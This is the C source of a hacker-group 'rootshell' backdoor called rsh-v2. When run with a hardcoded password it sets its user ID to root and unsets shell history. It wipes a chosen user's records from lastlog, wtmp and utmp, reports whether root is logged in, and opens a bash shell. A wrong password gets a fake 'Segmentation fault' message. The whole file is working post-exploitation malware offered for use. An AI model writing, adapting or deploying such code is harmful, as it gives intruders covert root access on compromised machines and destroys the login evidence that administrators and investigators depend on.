/*
         rsh-v2 rootshell by rotor http://www.c1zc0.com
         irc.efnet.org #c1zc0
         usage: ./rshv2 <pass> <user>
*/

#include <stdio.h>
#include <string.h>
#include <utmp.h>
#include <unistd.h>
#include <fcntl.h>
#include <lastlog.h>
#include <pwd.h>
#include <sys/utsname.h>

#define  PASS "c1zk0"

#define _PATH_LASTLOG "/var/log/lastlog"
#define _WTMP_PATH "/var/log/wtmp"
#define _UTMP_PATH "/var/run/utmp"

int clean_last(char *path, char *user);
int wtmp_clean(char *path, char *user);
void chkr();

int main(int argc, char **argv[])
{
	char *pass = argv[1];
	char *pazz = PASS;	
        struct utsname u;
	uname(&u);
	
	if(argc < 1){
                printf("Segmentation fault (core dumped)\n");
                exit(0);
        }	
        if(strcmp(pass, pazz)) {
                printf("Segmentation fault (core dumped)\n");
                exit(0);
        } else {
		setuid(0);
                setuid(0);
                unsetenv("PS1");
                unsetenv("HISTFILE");
		printf("Cleaning lastlog!\n");		
		clean_last(_PATH_LASTLOG, argv[2]);
		printf("Cleaning WTMP\n");
		wtmp_clean(_WTMP_PATH, argv[2]);
		printf("Cleaning UTMP\n");
		wtmp_clean(_UTMP_PATH, argv[2]);
		printf("Checking for root logged in\n");
		chkr();
		printf("System name: %s, Node Name: %s\n", u.sysname, u.nodename);
		printf("Release: %s, Version: %s\n", u.release, u.version);
		execl("/bin/bash", "sh", NULL);	
        }	
        return 0;
}

int clean_last(char *path, char *user) {
	FILE *lastlog_file;
	struct passwd *pwd;
	struct lastlog lastlog_tmp;
	int count=0;

	if((lastlog_file = fopen(path, "r+")) == NULL) {
		printf("failed to open file %s\n", path);
		return 0;
	}

	if ((pwd = getpwnam(user)) == NULL) {
       printf("user %s not found\n", user);
       return 0;
    }

	fseek(lastlog_file, (long)(pwd->pw_uid*sizeof(lastlog_tmp)), SEEK_SET);
	bzero((char *)&lastlog_tmp, sizeof(lastlog_tmp));
	fwrite((char *)&lastlog_tmp, sizeof(lastlog_tmp), 1, lastlog_file);

	fclose(lastlog_file);

	printf("%s cleaned!\n", path);

}

int wtmp_clean(char *path, char *user)
{
	FILE *uwtmp_file;
	struct utmp uwtmp_tmp;
	int count=0;

	if((uwtmp_file = fopen(path, "r+")) == NULL) {
		printf("failed to open file %s\n", path);
		return 0;
	}
  
	while(fread((char *)&uwtmp_tmp, sizeof(uwtmp_tmp), 1, uwtmp_file) > 0) {
		if(strcmp(uwtmp_tmp.ut_name, user) ==0) {
			fseek(uwtmp_file, -sizeof(uwtmp_tmp), SEEK_CUR);
			bzero(&uwtmp_tmp, sizeof(uwtmp_tmp));
			fwrite((char *)&uwtmp_tmp, sizeof(uwtmp_tmp), 1, uwtmp_file);
			count++;
		}
	}
  
	fclose(uwtmp_file);
  
	if(count == 0) {
		printf("user %s not found\n", user, path);
	}
  
	else printf("%s cleaned!\n", path);

}

void chkr()
{
	struct utmp *entry;
		
	int logincount=0, rootcount=0;
	setutent();
	  while ((entry = getutent())!=NULL)
	  {
	    if(entry->ut_type != USER_PROCESS)
	      continue;
	    logincount++;
	    
	    if(!strcmp(entry->ut_user, "root"));
	    {
	      printf("Caution> root is logged in on %s!\n", entry->ut_line); 
	      rootcount++;
	    }
	}
	printf("-> %d user(s) logged in, %d root login(s)\n", logincount, rootcount); 
	endutent();


}
		